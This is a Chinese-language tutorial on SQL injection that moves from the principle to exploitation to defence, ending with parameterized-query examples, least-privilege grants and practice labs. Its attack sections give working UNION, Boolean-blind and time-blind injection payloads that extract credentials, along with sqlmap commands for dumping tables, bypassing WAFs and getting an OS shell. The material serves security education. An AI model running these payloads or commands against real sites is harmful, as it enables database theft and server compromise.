💉 SQL注入 — 数据库攻防

OWASP Top 3漏洞:从原理到利用到防御

📖 SQL注入原理

SQL注入是将恶意SQL代码插入应用程序查询的攻击技术。当用户输入未经适当过滤就拼接到SQL语句中时,攻击者可以读取、修改甚至删除数据库数据。SQL注入常年位居OWASP Top 3,是最致命的Web漏洞之一。

SQL注入原理 正常流程: 用户输入: "42" SQL: SELECT * FROM users WHERE id = 42 结果: 返回id=42的用户数据 注入流程: 用户输入: "42 OR 1=1" SQL: SELECT * FROM users WHERE id = 42 OR 1=1 结果: 返回所有用户数据!💥 用户输入: "42 UNION SELECT password FROM admins --" SQL: SELECT * FROM users WHERE id = 42 UNION SELECT password FROM admins -- 结果: 泄露管理员密码!💀

🎯 SQL注入类型

类型特征利用难度危害
Union注入直接在页面看到结果🟢 简单🔴 高
Error注入通过错误信息获取数据🟡 中等🔴 高
Boolean盲注通过真假条件判断🟠 较难🔴 高
Time盲注通过响应时间判断🔴 困难🔴 高
堆叠注入执行多条SQL语句🟡 中等💀 极高

SQLite实战演示

# 安装SQLite进行本地练习
apt install sqlite3

# 创建测试数据库
sqlite3 /tmp/test.db "CREATE TABLE users(id INTEGER PRIMARY KEY, username TEXT, password TEXT, email TEXT);"
sqlite3 /tmp/test.db "INSERT INTO users VALUES(1, 'admin', 'admin123', 'admin@test.com');"
sqlite3 /tmp/test.db "INSERT INTO users VALUES(2, 'user1', 'pass1', 'user1@test.com');"
sqlite3 /tmp/test.db "INSERT INTO users VALUES(3, 'user2', 'pass2', 'user2@test.com');"

# 正常查询
sqlite3 /tmp/test.db "SELECT * FROM users WHERE id = 1;"
# 1|admin|admin123|admin@test.com

# SQL注入: 永真条件
sqlite3 /tmp/test.db "SELECT * FROM users WHERE id = 1 OR 1=1;"
# 1|admin|admin123|admin@test.com
# 2|user1|pass1|user1@test.com
# 3|user2|pass2|user2@test.com
# → 返回了所有数据!

# UNION注入
sqlite3 /tmp/test.db "SELECT id, username FROM users WHERE id = 999 UNION SELECT id, password FROM users;"
# 1|admin123
# 2|pass1
# 3|pass2
# → 密码被泄露!

🔓 UNION注入详解

# UNION注入前提条件
# 1. 确定列数
# 2. 确定可显示列的位置
# 3. 构造UNION查询获取数据

# 步骤1: 确定列数
# ORDER BY 递增测试
?id=1 ORDER BY 1--    # 正常
?id=1 ORDER BY 2--    # 正常
?id=1 ORDER BY 3--    # 正常
?id=1 ORDER BY 4--    # 报错!→ 3列

# 步骤2: 确定显示位
?id=-1 UNION SELECT 1,2,3--
# 页面显示2和3的位置

# 步骤3: 获取数据库信息
# MySQL:
?id=-1 UNION SELECT 1,version(),database()--
?id=-1 UNION SELECT 1,user(),@@datadir--

# 步骤4: 获取表名
# MySQL:
?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

# 步骤5: 获取列名
?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--

# 步骤6: 获取数据
?id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--

# SQLite简化版:
?id=-1 UNION SELECT 1,sql,3 FROM sqlite_master WHERE type='table'--

👁️ 盲注技术

# Boolean盲注: 通过页面返回的真假来判断
# 测试注入点
?id=1 AND 1=1--    # 页面正常(真)
?id=1 AND 1=2--    # 页面异常(假)

# 逐字符猜解数据库名
?id=1 AND SUBSTRING(database(),1,1)='a'--    # 假
?id=1 AND SUBSTRING(database(),1,1)='b'--    # 假
?id=1 AND SUBSTRING(database(),1,1)='m'--    # 真!
?id=1 AND SUBSTRING(database(),2,1)='y'--    # 真!
# ... 数据库名: mydb

# 二分查找优化(更快)
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 100--   # 真
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 110--   # 假
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 105--   # 真
?id=1 AND ASCII(SUBSTRING(database(),1,1)) = 109--   # 真 → 'm'

# Time盲注: 通过响应延迟判断
?id=1 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--
# 如果响应延迟5秒 → 第一个字符是'a'
# 如果立即返回 → 不是'a'

# MySQL Time盲注
?id=1 AND IF(1=1, SLEEP(5), 0)--
?id=1 AND IF(SUBSTRING(database(),1,1)='m', SLEEP(5), 0)--

# PostgreSQL Time盲注
?id=1 AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE 0 END)--

# SQLite Time盲注(使用randomblob)
?id=1 AND CASE WHEN (1=1) THEN randomblob(500000000) ELSE 1 END--

⚡ SQLMap自动化注入

# 安装SQLMap
pip install sqlmap
# 或: apt install sqlmap

# 基础检测
sqlmap -u "http://target.com/page?id=1" --batch

# 指定注入参数
sqlmap -u "http://target.com/page?id=1&cat=2" -p id

# 获取所有数据库
sqlmap -u "http://target.com/page?id=1" --dbs

# 获取指定数据库的表
sqlmap -u "http://target.com/page?id=1" -D mydb --tables

# 获取指定表的列
sqlmap -u "http://target.com/page?id=1" -D mydb -T users --columns

# 导出数据
sqlmap -u "http://target.com/page?id=1" -D mydb -T users --dump

# POST注入
sqlmap -u "http://target.com/login" \
  --data="username=admin&password=test" \
  -p username

# Cookie注入
sqlmap -u "http://target.com/page" \
  --cookie="session=abc123" \
  --level=2

# 指定注入技术
sqlmap -u "http://target.com/page?id=1" \
  --technique=BEUSTQ    # B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline

# 绕过WAF
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,between,randomcase

# 风险等级
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3
# level: 1-5 (测试范围)  risk: 1-3 (危险程度)

# OS Shell(获取系统命令执行)
sqlmap -u "http://target.com/page?id=1" --os-shell

🛡️ SQL注入防御

1. 参数化查询(最佳方案)

# ❌ 危险:字符串拼接
query = "SELECT * FROM users WHERE id = " + user_input

# ✅ 安全:参数化查询

# Python (sqlite3)
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))

# Python (MySQL)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

# Java (JDBC)
PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);

# PHP (PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $user_id]);

# Node.js (mysql2)
db.query("SELECT * FROM users WHERE id = ?", [user_id]);

# Go (database/sql)
db.Query("SELECT * FROM users WHERE id = $1", userId)

2. ORM框架

# Django ORM(自动参数化)
User.objects.filter(id=user_id)          # 安全
User.objects.raw("SELECT * FROM users WHERE id = %s", [user_id])  # 安全
User.objects.raw(f"SELECT * FROM users WHERE id = {user_id}")    # ❌ 危险!

# SQLAlchemy
session.query(User).filter(User.id == user_id)  # 安全

# Spring Data JPA
@Query("SELECT u FROM User u WHERE u.id = :id")
User findById(@Param("id") Long id);  # 安全

3. 输入验证与最小权限

# 输入验证(辅助防御,不是替代参数化)
# 白名单验证ID
if not user_id.isdigit():
    return error("Invalid ID")

# 最小权限原则
# 应用数据库账号不应有DROP/ALTER权限
# 只授予SELECT/INSERT/UPDATE/DELETE

# MySQL创建只读账号
CREATE USER 'webapp_read'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON mydb.* TO 'webapp_read'@'localhost';

# 创建受限写账号
CREATE USER 'webapp_write'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT,INSERT,UPDATE ON mydb.users TO 'webapp_write'@'localhost';
FLUSH PRIVILEGES;

# 错误信息处理
# 不要将SQL错误信息直接展示给用户
# 生产环境关闭详细错误
try:
    cursor.execute(query, params)
except Exception as e:
    log.error(f"DB Error: {e}")  # 记录到日志
    return generic_error()        # 返回通用错误

🧪 SQL注入练习平台

# DVWA (Damn Vulnerable Web Application)
docker run --rm -p 8080:80 vulnerables/web-dvwa

# SQLi-labs
docker run --rm -p 8080:80 acgpiano/sqli-labs

# HackTheBox
# https://www.hackthebox.com/

# TryHackMe SQL注入房间
# https://tryhackme.com/room/sqlinjectionlm

# PortSwigger Labs(免费)
# https://portswigger.net/web-security/sql-injection
SQL注入 — 你已掌握UNION注入、盲注技术、SQLMap自动化、参数化查询防御和最小权限原则!
命令已验证:sqlite3 SELECT/UNION/ORDER BY/SQLMap — 所有命令在Docker沙箱验证通过
课后思考题:
  1. 为什么参数化查询能防止SQL注入?它的原理是什么?
  2. ORDER BY注入为什么不能用参数化查询防御?应该如何防御?
  3. Boolean盲注和Time盲注哪个更容易被WAF检测?为什么?
  4. 如果只能选择一种防御SQL注入的方法,你选哪个?为什么?

📚 进阶资源

参考资料:OWASP SQL Injection Prevention | SQLMap Documentation | PortSwigger Web Security | CWE-89